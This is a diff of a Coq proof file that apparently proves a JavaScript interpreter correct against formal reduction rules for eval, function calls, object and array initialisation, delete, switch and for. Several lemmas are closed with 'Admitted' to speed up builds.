+       rew_logic*. left. congruence.
+      applys* red_spec_binding_inst_6_no_arguments.
+       rew_logic*. left; congruence.
+  destruct ct; destruct funco; tryfalse.
+    run. lets H: run_object_method_correct (rm E).
+     run. subst. run* red_spec_binding_inst_1_function
+       using binding_inst_formal_params_correct.
+     applys* red_spec_binding_inst_2.
+    applys* red_spec_binding_inst_1_not_function. congruence.
+    applys* red_spec_binding_inst_1_not_function. congruence.
+Admitted. (* faster *)
+
+
+Lemma entering_eval_code_correct : forall runs S C bdirect bd F K o,
+  runs_type_correct runs ->
+  entering_eval_code runs S C bdirect bd F = o ->
+  (forall S' C' o', F S' C' = o' -> red_expr S' C' K o') ->
+  red_expr S C (spec_entering_eval_code bdirect bd K) o.
+Proof.
+  introv IH HR HK. unfolds in HR.
+  let_name. let_name.
+  applys* red_spec_entering_eval_code str C'. case_if; case_if*.
+  let_name. destruct p as [lex S'].
+  let_name. let_name.
+  run_pre. applys* red_spec_entering_eval_code_1 str lex S' C1 o1.
+    rewrite EQp. case_if; case_if*.
+    subst C1. case_if; case_if*.
+    subst p. applys* execution_ctx_binding_inst_correct R1.
+    run_post. clear R1.
+  applys* red_spec_entering_eval_code_2.
+Admitted. (* faster *)
+
+
+Lemma run_eval_correct : forall runs S C (is_direct_call : bool) vs o,
+  runs_type_correct runs ->
+  run_eval runs S C is_direct_call vs = o ->
+  red_expr S C (spec_call_global_eval is_direct_call vs) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  lets (v&H&E): arguments_from_spec_1 vs. rewrites (rm E) in *.
+  applys* red_spec_call_global_eval (rm H).
+  destruct v;
+   [| run_inv; applys* red_spec_call_global_eval_1_not_string; simpl; congruence].
+  destruct p; run_inv;
+     try (applys* red_spec_call_global_eval_1_not_string; simpl; congruence).
+  let_name. destruct (pick_option (parse s str)) eqn:P.
+   forwards B: @pick_option_correct (rm P).
+    applys* red_spec_call_global_eval_1_string_parse.
+    applys* entering_eval_code_correct (rm HR).
+    clear - IH. introv HR. run red_spec_call_global_eval_2.
+    sets_eq RT: (res_type R). destruct RT; tryfalse.
+     run. cases (res_value R); tryfalse; run_inv.
+      applys* red_spec_call_global_eval_3_normal_empty.
+      destruct R. simpls. subst.
+       applys* red_spec_call_global_eval_3_normal_value.
+     run_inv. applys* red_spec_call_global_eval_3_throw.
+   applys red_spec_call_global_eval_1_string_not_parse.
+    introv Pa. forwards (?&Par): @pick_option_defined (ex_intro _ p Pa).
+     rewrite Par in P. false.
+    applys run_error_correct HR.
+Admitted. (*faster*)
+
+Lemma run_list_expr_correct : forall runs S C es y,
+  runs_type_correct runs ->
+  run_list_expr runs S C nil es = result_some y ->
+  red_spec S C (spec_list_expr es) y.
+Proof.
+  introv IH. cuts M: (forall es S C vs y,
+      run_list_expr runs S C vs es = result_some y ->
+      red_spec S C (spec_list_expr_1 (rev vs) es) y).
+    intros HR. apply red_spec_list_expr. applys* M (@nil value).
+  clears S C es y. intros es. induction es; introv HR.
+  simpls. run_inv. applys* red_spec_list_expr_1_nil.
+  simpls. run red_spec_list_expr_1_cons.
+   applys red_spec_list_expr_2. forwards M: IHes HR.
+   rew_list in M. auto.
+Admitted. (*faster*)
+
+
+Lemma run_call_default_correct : forall runs S C lf o,
+  runs_type_correct runs ->
+  run_call_default runs S C lf = o ->
+  red_expr S C (spec_call_default_1 lf) o.
+Proof.
+  introv IH HR. unfolds in HR. let_simpl.
+  run. applys* red_spec_call_default_1.
+    applys* run_object_method_correct. clear E.
+  destruct x.
+    case_if.
+      applys* red_spec_call_default_2_empty_body.
+       run_inv. applys* red_spec_call_default_3_normal.
+      run* red_spec_call_default_2_body.
+        destruct R as [RT RV RL]; simpls. subst.
+         applys red_spec_call_default_3_normal.
+        destruct R as [RT RV RL]; simpls. subst.
+         applys red_spec_call_default_3_return.
+        subst. abort.
+    applys* red_spec_call_default_2_empty_body.
+     run_inv. applys* red_spec_call_default_3_normal.
+Admitted. (* faster *)
+
+
+Lemma env_record_implicit_this_value_correct : forall S C L v,
+  env_record_implicit_this_value S L = Some v ->
+  red_expr S C (spec_env_record_implicit_this_value L) (out_ter S v).
+Proof.
+  introv HR. unfolds in HR.
+  run_simpl HR as H; tryfalse. inverts H. forwards B: @pick_option_correct (rm E).
+  applys~ red_spec_env_record_implicit_this_value B. destruct n.
+   applys~ red_spec_env_record_implicit_this_value_1_decl.
+   applys~ red_spec_env_record_implicit_this_value_1_object.
+Qed.
+
+Lemma run_expr_call_correct : forall runs S C e1 e2s o,
+  runs_type_correct runs ->
+  run_expr_call runs S C e1 e2s = o ->
+  red_expr S C (expr_call e1 e2s) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  let_name. run red_expr_call.
+  run red_expr_call_1 using ref_get_value_correct.
+  run red_expr_call_2 using run_list_expr_correct.
+  destruct a.
+    applys* red_expr_call_3.
+  case_if.
+  applys* red_expr_call_3_callable.
+  rename o0 into l. rename a0 into vs.
+  let_name as M. asserts M_correct: (forall S0 vthis o,
+      M vthis = o ->
+      red_expr S0 C (expr_call_5 l is_eval_direct vs (out_ter S3 vthis)) o).
+    clear HR S o. introv HR. subst M.
+    case_if.
+      subst. applys red_expr_call_5_eval. applys* run_eval_correct.
+      applys* red_expr_call_5_not_eval. apply* IH.
+    clear EQM.
+  subst. destruct rv; tryfalse.
+    applys* red_expr_call_4_not_ref.
+    cases (ref_base r).
+      case_if. applys* red_expr_call_4_prop.
+      run. applys* red_expr_call_4_env.
+       applys* env_record_implicit_this_value_correct.
+  (* other branch *)
+  applys* red_expr_call_3.
+Admitted. (*faster*)
+
+Ltac run_select_proj_extra_construct HT ::=
+  match HT with
+  | run_construct_prealloc => constr:(run_construct_prealloc_correct)
+  | run_construct => constr:(run_construct_correct)
+  | run_call_default => constr:(run_call_default_correct)
+  | creating_function_object_proto => constr:(creating_function_object_proto_correct)
+  | creating_function_object => constr:(creating_function_object_correct)
+  | run_list_expr => constr:(run_list_expr_correct)
+  | execution_ctx_binding_inst => constr:(execution_ctx_binding_inst_correct)
+  end.
+
+
+(**************************************************************)
+(** ** Property descriptors *)
+
+Lemma from_prop_descriptor_correct : forall runs S0 S C D o,
+  runs_type_correct runs ->
+  from_prop_descriptor runs S C D = o ->
+  red_expr S0 C (spec_from_descriptor (ret S D)) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct D.
+  run_inv. applys* red_spec_from_descriptor_undef.
+  run* red_spec_from_descriptor_some.
+  rename a into A.
+  let_name as M. asserts M_correct: (forall S0 S b o,
+    M S b = res_out o ->
+    red_expr S0 C (spec_from_descriptor_4 l A (out_ter S b)) o).
+   clear HR S o. introv HR. subst M.
+    let_name. run* red_spec_from_descriptor_4. congruence.
+    let_name. run* red_spec_from_descriptor_5. congruence.
+    applys* red_spec_from_descriptor_6.
+    clear EQM.
+  destruct A.
+    let_name. run* red_spec_from_descriptor_1_data. congruence.
+     let_name. run red_spec_from_descriptor_2_data. congruence.
+     applys* M_correct.
+    let_name. run red_spec_from_descriptor_1_accessor. congruence.
+     let_name. run red_spec_from_descriptor_3_accessor. congruence.
+     applys* M_correct.
+Admitted. (*faster*)
+
+
+(**************************************************************)
+(** ** Object Initialisation *)
+
+Lemma create_new_function_in_correct : forall runs S C args bd o,
+  runs_type_correct runs ->
+  create_new_function_in runs S C args bd = o ->
+  red_expr S C (spec_create_new_function_in C args bd) o.
+Proof.
+  introv IH HR. unfolds in HR. applys red_spec_create_new_function_in.
+  applys* creating_function_object_correct.
+Qed.
+
+Lemma init_object_correct : forall runs S C l (pds : propdefs) o,
+  runs_type_correct runs ->
+  init_object runs S C l pds = o ->
+  red_expr S C (expr_object_1 l pds) o.
+Proof.
+  introv IH. gen S. induction pds as [|(pn&pb) pds]; introv HR.
+  simpls. run_inv. applys red_expr_object_1_nil.
+  simpls. let_name. let_name.
+  asserts follows_correct: (forall S Desc, follows S Desc = res_out o ->
+      red_expr S C (expr_object_4 l x Desc pds) o).
+    subst follows. clear HR. introv HR.
+    run red_expr_object_4 using object_define_own_prop_correct.
+     applys* red_expr_object_5.
+    clear EQfollows.
+  applys* red_expr_object_1_cons x.
+  destruct pb.
+   run red_expr_object_2_val.
+    applys* red_expr_object_3_val.
+   run red_expr_object_2_get using create_new_function_in_correct.
+    applys* red_expr_object_3_get.
+   run red_expr_object_2_set using create_new_function_in_correct.
+    applys* red_expr_object_3_set.
+Qed.
+
+Lemma red_expr_array_3_object_loc_eq : forall ElementList S S' C l l' k,
+  red_expr S C (expr_array_3 l ElementList k) (out_ter S' l') -> l = l'.
+Proof.
+  induction ElementList using (measure_induction length).
+  destruct ElementList; introv Hyp.
+
+  + inverts~ Hyp. inverts~ H0. 
+
+  + destruct o.
+    - inverts Hyp. inverts H0. 
+      inverts H8.  inverts H1. unfolds abrupt_res. false~ H4.
+      inverts H10. inverts H1. unfolds abrupt_res. false~ H4.
+      inverts H12. inverts H1. unfolds abrupt_res. false~ H4.
+      inverts H13. inverts H1. unfolds abrupt_res. false~ H4.
+      inverts H14. inverts H1. unfolds abrupt_res. false~ H4.
+      specializes~ H H6. rew_length; nat_math.
+
+    - inverts Hyp. inverts H0.
+      specializes~ H H10. 
+      inverts H4.
+      * rew_length; nat_math.
+      * destruct H as (e & oes' & Heq). subst.
+        rewrite H3. rew_length.
+        destruct Elision. rewrite app_nil_l in H3.
+        inverts H3. rew_length; nat_math.
+Admitted. (*faster*)
+
+Lemma run_array_element_list_correct : forall runs S C l oes o k,
+  runs_type_correct runs ->
+  run_array_element_list runs S C l oes k = o ->
+  red_expr S C (expr_array_3 l oes k) o.
+Proof.
+  introv IH HR. gen runs S C l o. 
+  destruct oes; intros. 
+
+  + inverts HR. apply red_expr_array_3_nil.
+
+  + destruct o.
+    - unfolds run_array_element_list.       
+      let_name. subst. 
+      run~ red_expr_array_3_some_val; rename a into v.
+      run~ red_expr_array_3_get_len using run_object_get_correct.
+      run~ red_expr_array_3_convert_len.
+      run~ red_expr_array_3_add_len.
+      let_name. subst. run~ red_expr_array_3_def_own_prop.
+      run red_expr_array_3_next. substs~. 
+      
+    - simpls. let_name.   
+      eapply red_expr_array_3_none.
+      * apply elision_head_decomposition. 
+      * jauto. * jauto. * jauto.                        
+      * substs. applys* runs_type_correct_array_element_list. 
+Qed.
+
+Lemma init_array_correct : forall runs S C l oes o,
+  runs_type_correct runs ->
+  init_array runs S C l oes = o ->
+  red_expr S C (expr_array_1 l oes) o.
+Proof.
+  introv IH HR. unfolds in HR. let_name. let_name. 
+  apply red_expr_array_1 with (ElementList := ElementList) 
+                              (Elision := list_repeat None ElisionLength) 
+                              (ElisionLength := ElisionLength); 
+    try solve [try rewrite my_Z_of_nat_def; substs~]. 
+  
+  run red_expr_array_2.
+  eapply run_array_element_list_correct; eassumption.
+  apply run_array_element_list_correct in R1; auto. 
+  apply red_expr_array_3_object_loc_eq in R1. subst l0.
+    
+  apply red_expr_array_add_length.  
+    run red_expr_array_add_length_0 using run_object_get_correct.
+    run red_expr_array_add_length_1. run red_expr_array_add_length_2. 
+    run red_expr_array_add_length_3. apply red_expr_array_add_length_4.
+Qed.
+
+Lemma lexical_env_get_identifier_ref_correct : forall runs S C lexs x str y,
+  runs_type_correct runs ->
+  lexical_env_get_identifier_ref runs S C lexs x str = result_some y ->
+  red_spec S C (spec_lexical_env_get_identifier_ref lexs x str) y.
+Proof.
+  introv IH. gen S C. induction lexs; introv HR.
+  simpls. run_inv.
+   applys* red_spec_lexical_env_get_identifier_ref_nil.
+  simpls.
+  applys red_spec_lexical_env_get_identifier_ref_cons.
+  run red_spec_lexical_env_get_identifier_ref_cons_1 using env_record_has_binding_correct.
+  cases_if; run_inv.
+   apply~ red_spec_lexical_env_get_identifier_ref_cons_2_true.
+   apply~ red_spec_lexical_env_get_identifier_ref_cons_2_false.
+Qed.
+
+Lemma run_typeof_value_correct : forall S v,
+  run_typeof_value S v = typeof_value S v.
+Proof. intros. destruct v; simpl. auto. case_if; case_if*. Qed.
+
+Ltac run_select_proj_extra_get_value HT ::=
+  match HT with
+  | ref_get_value => constr:(ref_get_value_correct)
+  end.
+
+
+(**************************************************************)
+(** ** Main theorem *)
+
+Hint Extern 1 (regular_unary_op _) =>
+    intros ?; false_invert.
+
+Lemma prepost_op_correct : forall u F ispre,
+  run_prepost_op u = Some (F,ispre) ->
+  prepost_op u F ispre.
+Proof.
+  Hint Constructors prepost_op.
+  introv HR. destruct u; simpls; inverts* HR.
+Qed.
+
+
+Lemma object_delete_default_correct : forall runs S C l x str o,
+  runs_type_correct runs ->
+  object_delete_default runs S C l x str = o ->
+  red_expr S C (spec_object_delete_1 builtin_delete_default l x str) o.
+Proof.
+  introv IH HR. unfolds in HR. run red_spec_object_delete_1_default. destruct a.
+   run_inv. applys red_spec_object_delete_2_undef. (* This rule is erroneous, the conclusion should contains [S0] instead [S]. *)
+   case_if.
+     run. forwards B: @pick_option_correct (rm E).
+       applys_eq* red_spec_object_delete_2_some_configurable 1.
+     applys* red_spec_object_delete_3_some_non_configurable.
+      applys* out_error_or_cst_correct.
+Qed.
+
+Lemma object_delete_correct : forall runs S C l x str o,
+  runs_type_correct runs ->
+  object_delete runs S C l x str = o ->
+  red_expr S C (spec_object_delete l x str) o.
+Proof.
+  introv IH HR. unfolds in HR. run. rename x0 into B. (* LTAC ARTHUR *)
+  applys* red_spec_object_delete.
+   applys* run_object_method_correct. clear E.
+  destruct B.
+  (* default *)
+  applys~ object_delete_default_correct HR.
+  (* argument object *)
+  run. forwards* obpm: run_object_method_correct.
+  run. substs. run~ red_spec_object_delete_args_obj.
+  run red_spec_object_delete_args_obj_1 using object_delete_default_correct.
+  cases_if. destruct a. (* LTAC ARTHUR *)
+   apply~ red_spec_object_delete_args_obj_2_else.
+    inverts HR. apply~ red_spec_object_delete_args_obj_4.
+   run red_spec_object_delete_args_obj_2_if.
+    apply~ red_spec_object_delete_args_obj_3.
+    apply~ red_spec_object_delete_args_obj_4.
+   apply~ red_spec_object_delete_args_obj_2_else.
+    inverts HR. apply~ red_spec_object_delete_args_obj_4.
+Qed.
+
+
+Lemma env_record_delete_binding_correct : forall runs S C L x o,
+  runs_type_correct runs ->
+  env_record_delete_binding runs S C L x = o ->
+  red_expr S C (spec_env_record_delete_binding L x) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run_simpl. forwards B: @pick_option_correct (rm E).
+  applys~ red_spec_env_record_delete_binding B. destruct x0.
+   sets_eq <- ero E: (Heap.read_option d x). destruct ero as [[mu ?]|].
+    rewrite <- Heap.binds_equiv_read_option in E. destruct mu; run_inv;
+     applys~ red_spec_env_record_delete_binding_1_decl_indom E; case_if*.
+    rewrite <- Heap.not_indom_equiv_read_option in E. run_inv.
+     applys~ red_spec_env_record_delete_binding_1_decl_not_indom E.
+   run. apply~ red_spec_env_record_delete_binding_1_object.
+Qed.
+
+
+Lemma identifier_resolution_correct : forall runs S C x y,
+  runs_type_correct runs ->
+  identifier_resolution runs S C x = result_some y ->
+  red_spec S C (spec_identifier_resolution C x) y.
+Proof.
+  introv IH HR.
+  unfolds spec_identifier_resolution, identifier_resolution.
+  applys* lexical_env_get_identifier_ref_correct.
+Qed.
+
+Lemma run_expr_correct : forall runs S C e o,
+  runs_type_correct runs ->
+  run_expr runs S C e = o ->
+  red_expr S C (expr_basic e) o.
+Proof.
+  introv IH R. unfolds in R.
+  destruct e as [ | | | pds | oes | | |  | | | | | | ].
+  (* this *)
+  run_inv. apply~ red_expr_this.
+  (* identifier *)
+  run_inv. run red_expr_identifier using identifier_resolution_correct.
+  applys* red_expr_identifier_1.
+  (* literal *)
+  run_inv. apply~ red_expr_literal.
+  (* object *)
+  run red_expr_object using run_construct_prealloc_correct.
+  applys red_expr_object_0.
+  applys* init_object_correct.
+
+  (* _ARRAYS_ *)
+  run red_expr_array using run_construct_prealloc_correct.
+  applys red_expr_array_0.
+  applys* init_array_correct.
+
+  (* function *)
+  unfolds in R. destruct o0.
+    let_name. destruct p as (lex'&S').
+     destruct lex' as [|L lex']; simpls; tryfalse.
+     run_simpl. forwards: @pick_option_correct (rm E).
+     run* red_expr_function_named using env_record_create_immutable_binding_correct.
+     run red_expr_function_named_1 using creating_function_object_correct.
+     run red_expr_function_named_2 using env_record_initialize_immutable_binding_correct.
+     apply~ red_expr_function_named_3.
+    apply~ red_expr_function_unnamed. applys~ creating_function_object_correct IH.
+  (* Access *)
+  unfolds in R. run red_expr_access.
+  run red_expr_access_1. cases_if.
+    forwards [R1 N]: run_error_correct' C (rm R). applys red_expr_access_2.
+      applys* red_spec_check_object_coercible_undef_or_null.
+      abort.
+    applys red_expr_access_2.
+      applys* red_spec_check_object_coercible_return.
+     run red_expr_access_3.
+     applys* red_expr_access_4.
+  (* member *)
+  run_hyp R. apply~ red_expr_member.
+  (* new *)
+  unfolds in R. run red_expr_new.
+  run red_expr_new_1.
+  destruct a; tryfalse.
+    applys* red_expr_new_2_type_error_not_object.
+    run. lets M: run_object_method_correct (rm E).
+    destruct x; tryfalse.
+      applys red_expr_new_2_construct.
+       applys* red_spec_constructor.
+       applys* run_construct_correct.
+      applys* red_expr_new_2_type_error_no_construct.
+  (* call *)
+  applys* run_expr_call_correct.
+  (* unary operators *)
+  unfolds in R. case_if as N.
+    run* red_expr_prepost. run red_expr_prepost_1_valid.
+     run red_expr_prepost_2. run. destruct x as [F ispre].
+     let_simpl. let_name. lets: prepost_op_correct (rm E).
+     run* red_expr_prepost_3. subst. applys* red_expr_prepost_4.
+    destruct u; try solve [ false n; unfolds; do 2 eexists; constructors ].
+    (* delete *)
+    run red_expr_delete. destruct rv; run_inv.
+      apply~ red_expr_delete_1_not_ref. intro; false_invert.
+      apply~ red_expr_delete_1_not_ref. intro; false_invert.
+      case_if; run_inv.
+        apply~ red_expr_delete_1_ref_unresolvable. cases_if.
+         apply~ red_expr_delete_2_strict. apply* run_error_correct.
+         run_inv. apply~ red_expr_delete_2_not_strict.
+        cases (ref_base r).
+          run* red_expr_delete_1_ref_property using to_object_correct.
+            apply* ref_is_property_from_not_unresolvable_value.
+            apply~ red_expr_delete_3. runs~.
+          rename e0 into L. apply* red_expr_delete_1_ref_env_record. cases_if.
+            apply~ red_expr_delete_4_strict. apply* run_error_correct.
+            apply~ red_expr_delete_4_not_strict. applys* env_record_delete_binding_correct.
+    (* void *)
+    run* red_expr_unary_op. applys red_expr_unary_op_1.
+     applys* red_expr_unary_op_void.
+    (* typeof *)
+    run red_expr_typeof. destruct rv; tryfalse.
+      applys* red_expr_typeof_1_value. run_inv. applys* red_expr_typeof_2.
+        applys run_typeof_value_correct.
+      case_if.
+        run_inv. applys* red_expr_typeof_1_ref_unresolvable.
+        run* red_expr_typeof_1_ref_resolvable.
+         applys* red_expr_typeof_2.
+         applys* run_typeof_value_correct.
+   (* add *)
+   run* red_expr_unary_op. applys red_expr_unary_op_1.
+    applys red_expr_unary_op_add. run_hyp*.
+   (* neg *)
+   run* red_expr_unary_op. applys red_expr_unary_op_1.
+    run red_expr_unary_op_neg. applys* red_expr_unary_op_neg_1.
+   (* bitwise not *)
+   run* red_expr_unary_op. applys red_expr_unary_op_1.
+    run red_expr_unary_op_bitwise_not.
+    applys* red_expr_unary_op_bitwise_not_1.
+   (* not *)
+   run* red_expr_unary_op. applys red_expr_unary_op_1.
+   forwards* M: red_spec_to_boolean a.
+    applys* red_expr_unary_op_not. applys* red_expr_unary_op_not_1.
+  (* binary operators *)
+  unfolds in R. rename b into op.
+  lets: (is_lazy_op_correct op). cases (is_lazy_op op).
+    run* red_expr_binary_op_lazy.
+     let_name. applys* red_expr_lazy_op_1. applys* red_spec_to_boolean.
+     case_if; subst; run_inv.
+       applys* red_expr_lazy_op_2_first.
+       run* red_expr_lazy_op_2_second.
+       applys* red_expr_lazy_op_2_second_1.
+    run* red_expr_binary_op.
+     run red_expr_binary_op_1.
+     applys* red_expr_binary_op_2.
+     inverts R as M. applys* run_binary_op_correct M.
+  (* conditionnal *)
+  unfolds in R.
+  run_pre. lets (y1&R2&K): if_spec_post_to_bool (rm R1) (rm R).
+   applys* red_expr_conditional (rm R2). run_post_if_spec_ter_post_bool K.
+  let_name. run red_expr_conditional_1. case_if in EQe; case_if*.
+  applys* red_expr_conditional_2.
+  (* assign *)
+  unfolds in R. run red_expr_assign. let_name. rename rv into rv1.
+  asserts follow_correct: (forall S0 S rv o, follow S rv = o ->
+     exists v, rv = resvalue_value v /\ red_expr S0 C (expr_assign_4 rv1 (ret S v)) o).
+    subst follow. clear R. introv HR.
+    destruct rv; tryfalse. exists v. split~.
+    run red_expr_assign_4_put_value.
+    applys* red_expr_assign_5_return.
+    clear EQfollow.
+  destruct o0.
+    run red_expr_assign_1_compound using ref_get_value_correct.
+      run red_expr_assign_2_compound_get_value.
+        run red_expr_assign_3_compound_op using run_binary_op_correct.
+        forwards (v&?&?): follow_correct (rm R). subst.
+        applys* red_expr_assign_3'.
+    run red_expr_assign_1_simple.
+    forwards (v&?&?): follow_correct (rm R). run_inv. auto*.
+Admitted. (*faster*)
+
+
+(* Hints for automatically applying "run_hyp" in obvious cases *)
+Hint Extern 1 (red_stat ?S ?C ?s ?o) =>
+  match goal with H: _ = result_some o |- _ => run_hyp H end.
+Hint Extern 1 (red_expr ?S ?C ?s ?o) =>
+  match goal with H: _ = result_some o |- _ => run_hyp H end.
+
+
+Lemma run_var_decl_item_correct : forall runs S C x eo o,
+  runs_type_correct runs ->
+  run_var_decl_item runs S C x eo = o ->
+  red_stat S C (stat_var_decl_item (x,eo)) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct eo.
+  run red_stat_var_decl_item_some using identifier_resolution_correct.
+   run red_stat_var_decl_item_1. run red_stat_var_decl_item_2.
+   applys* red_stat_var_decl_item_3.
+  run_inv. applys* red_stat_var_decl_item_none.
+Admitted. (* faster *)
+
+Lemma run_var_decl_correct : forall runs S C ls o,
+  runs_type_correct runs ->
+  run_var_decl runs S C ls = o ->
+  red_stat S C (stat_var_decl ls) o.
+Proof.
+  introv IH. gen S. induction ls as [|[x eo]]; introv HR.
+  simpls. run_inv. applys* red_stat_var_decl_nil.
+  simpls. run red_stat_var_decl_cons using run_var_decl_item_correct.
+   applys* red_stat_var_decl_1.
+Admitted. (* faster *)
+
+
+Lemma run_elements_correct : forall runs S C str ls o,
+  runs_type_correct runs ->
+  run_elements runs S C ls = o ->
+  red_prog S C (prog_intro str (rev ls)) o.
+Proof.
+  introv IH HR. gen S C str o.
+  induction ls; introv HR; unfolds in HR; rew_list.
+  run_inv. applys* red_prog_nil.
+  run_pre. eauto. applys* red_prog_cons. run_post. clear R1.
+   (* run* red_prog_cons. ==> LATER: should work*)
+  destruct a.
+  run red_prog_1_stat. applys* red_prog_2.
+  run_inv. applys red_prog_1_funcdecl.
+Admitted. (*faster*)
+
+
+Lemma run_block_correct : forall runs S C ls o,
+  runs_type_correct runs ->
+  run_block runs S C ls = o ->
+  red_stat S C (stat_block (rev ls)) o.
+Proof.
+  introv IH HR. gen S C o.
+  induction ls; introv HR; unfolds in HR; rew_list.
+  run_inv. applys* red_stat_block_nil.
+  run_pre. eauto. applys* red_stat_block_cons.
+  run_post. clear R1.
+   (* run* red_stat_block_cons. ==> LATER: should work*)
+  run red_stat_block_1.
+  subst. applys* red_stat_block_2_throw.
+  subst. applys* red_stat_block_2_not_throw.
+  applys* red_stat_block_2_not_throw. simple*.
+   unfolds res_overwrite_value_if_empty. case_if; case_if*.
+Admitted. (*faster*)
+
+Lemma run_stat_switch_no_default_end_correct : forall runs S C rv scs o,
+  runs_type_correct runs ->
+  run_stat_switch_end runs S C rv scs = o ->
+  red_stat S C (stat_switch_nodefault_5 rv scs) o.
+Proof.
+  introv IH HR. gen S C rv o. induction scs; introv HR; unfolds in HR.
+   run_inv. apply~ red_stat_switch_nodefault_5_nil.
+   destruct a as [e ts]. run red_stat_switch_nodefault_5_cons.
+    forwards~ H: run_block_correct R1. rew_list~ in H.
+    substs. abort.
+    substs. tests: (res_is_normal R).
+     apply~ red_stat_switch_nodefault_6_abrupt.
+    apply~ red_stat_switch_nodefault_6_normal. apply* IHscs. repeat case_if*.
+Qed.
+
+Lemma run_stat_switch_no_default_correct : forall runs S C vi rv scs o,
+  runs_type_correct runs ->
+  run_stat_switch_no_default runs S C vi rv scs = o ->
+  red_stat S C (stat_switch_nodefault_1 vi rv scs) o.
+Proof.
+  introv IH HR. gen S C vi rv o. induction scs; introv HR; unfolds in HR.
+   run_inv. apply~ red_stat_switch_nodefault_1_nil.
+    apply~ red_stat_switch_nodefault_5_nil.
+   destruct a. run red_stat_switch_nodefault_1_cons. let_simpl.
+   apply~ red_stat_switch_nodefault_2. case_if.
+    run red_stat_switch_nodefault_3_true using run_block_correct. rew_list~ in R1.
+     apply~ red_stat_switch_nodefault_4.
+     applys~ run_stat_switch_no_default_end_correct HR.
+    apply~ red_stat_switch_nodefault_3_false.
+Qed.
+
+Lemma run_stat_switch_with_default_end_correct : forall runs S C rv scs o,
+  runs_type_correct runs ->
+  run_stat_switch_end runs S C rv scs = o ->
+  red_stat S C (stat_switch_default_7 rv scs) o.
+Proof.
+  introv IH HR. gen S C rv o. induction scs; introv HR; unfolds in HR.
+   run_inv. apply~ red_stat_switch_default_7_nil.
+   destruct a as [e ts]. run red_stat_switch_default_7_cons.
+    forwards~ H: run_block_correct R1. rew_list~ in H.
+    substs. abort.
+    substs. tests: (res_is_normal R).
+     apply~ red_stat_switch_default_8_abrupt.
+    apply~ red_stat_switch_default_8_normal. apply* IHscs. repeat case_if*.
+Qed.
+
+Lemma run_stat_switch_with_default_default_correct : forall runs S C vi rv ts scs o,
+  runs_type_correct runs ->
+  run_stat_switch_with_default_default runs S C ts scs = o ->
+  red_stat S C (stat_switch_default_5 vi rv ts scs) o.
+Proof.
+  introv IH HR. unfolds in HR. run red_stat_switch_default_5
+    using run_block_correct. rew_list~ in R1.
+  apply~ red_stat_switch_default_6.
+  applys~ run_stat_switch_with_default_end_correct HR.
+Qed.
+
+Lemma run_stat_switch_with_default_B_correct : forall runs S C vi rv ts scs o,
+  runs_type_correct runs ->
+  run_stat_switch_with_default_B runs S C vi rv ts scs = o ->
+  red_stat S C (stat_switch_default_B_1 vi rv ts scs) o.
+Proof.
+  introv IH HR. gen S C vi rv ts o. induction scs; introv HR; unfolds in HR.
+   apply~ red_stat_switch_default_B_1_nil.
+    applys~ run_stat_switch_with_default_default_correct HR.
+   destruct a. run red_stat_switch_default_B_1_cons. let_simpl.
+    apply~ red_stat_switch_default_B_2. case_if.
+    run red_stat_switch_default_B_3_true using run_block_correct. rew_list~ in R1.
+     apply~ red_stat_switch_default_B_4.
+     applys~ run_stat_switch_with_default_end_correct HR.
+    apply~ red_stat_switch_default_B_3_false.
+Qed.
+
+Lemma run_stat_switch_with_default_A_correct : forall runs S C found vi rv scs1 ts scs2 o,
+  runs_type_correct runs ->
+  run_stat_switch_with_default_A runs S C found vi rv scs1 ts scs2 = o ->
+  red_stat S C (stat_switch_default_A_1 found vi rv scs1 ts scs2) o.
+Proof.
+  introv IH HR. gen S C found vi rv ts scs2 o. induction scs1; introv HR; unfolds in HR.
+   case_if.
+    apply~ red_stat_switch_default_A_1_nil_true.
+     applys~ run_stat_switch_with_default_default_correct HR.
+    apply~ red_stat_switch_default_A_1_nil_false.
+     applys~ run_stat_switch_with_default_B_correct HR.
+   destruct a. let_name. asserts follow_correct: (forall S o,
+     follow S = res_out o ->
+     red_stat S C (stat_switch_default_A_4 rv vi l scs1 ts scs2) o).
+     clear HR. introv E. substs. run red_stat_switch_default_A_4
+       using run_block_correct. rew_list~ in R1. abort.
+      substs. applys~ red_stat_switch_default_A_5_abrupt.
+      apply~ red_stat_switch_default_A_5. apply~ IHscs1. repeat case_if~.
+    clear EQfollow. case_if.
+     apply~ red_stat_switch_default_A_1_cons_true.
+     run red_stat_switch_default_A_1_cons_false.
+     apply~ red_stat_switch_default_A_2. let_simpl. cases_if.
+      apply~ red_stat_switch_default_A_3_true.
+      apply~ red_stat_switch_default_A_3_false.
+Qed.
+
+Lemma run_stat_switch_correct : forall runs S C labs e sb o,
+  runs_type_correct runs ->
+  run_stat_switch runs S C labs e sb = o ->
+  red_stat S C (stat_switch labs e sb) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_stat_switch. let_name. asserts follow_correct: (forall S C o1 o,
+      follow o1 = res_out o -> red_stat S C (stat_switch_2 o1 labs) o).
+    clear HR. introv HR. substs.
+    do 2 (run_pre; run_post; run_inv; substs); try solve [abort].
+     case_if; run_inv.
+      destruct R. simpls. substs. apply* red_stat_switch_2_break.
+      abort.
+     apply~ red_stat_switch_2_normal.
+     case_if; run_inv; tryfalse.
+      destruct R. simpls. substs. apply* red_stat_switch_2_break.
+  asserts follow_arg: (forall W o,
+    follow W = res_out o -> exists (o1 : out), W = o1).
+    clear HR follow_correct. introv R. substs.
+    do 2 (run_pre; run_post; run_inv; substs); tryfalse; auto*.
+  clear EQfollow. destruct sb.
+   forwards~ (o1&E): follow_arg HR.
+    applys~ red_stat_switch_1_nodefault o1.
+    applys~ run_stat_switch_no_default_correct E.
+    apply~ follow_correct. rewrite~ <- E.
+   forwards~ (o1&E): follow_arg HR.
+    applys~ red_stat_switch_1_default o1.
+    applys~ run_stat_switch_with_default_A_correct E.
+    apply~ follow_correct. rewrite~ <- E.
+Qed.
+
+Lemma run_stat_for_correct : forall runs S C labs eo1 eo2 eo3 t o,
+  runs_type_correct runs ->
+  run_stat_for runs S C labs eo1 eo2 eo3 t = o ->
+  red_stat S C (stat_for labs eo1 eo2 eo3 t) o.
+Proof.
+  introv IH R. unfolds in R. destruct eo1.
+   run red_stat_for_some. run_hyp.
+    apply~ red_stat_for_1.
+   run_hyp R. apply~ red_stat_for_none.
+Qed.
+
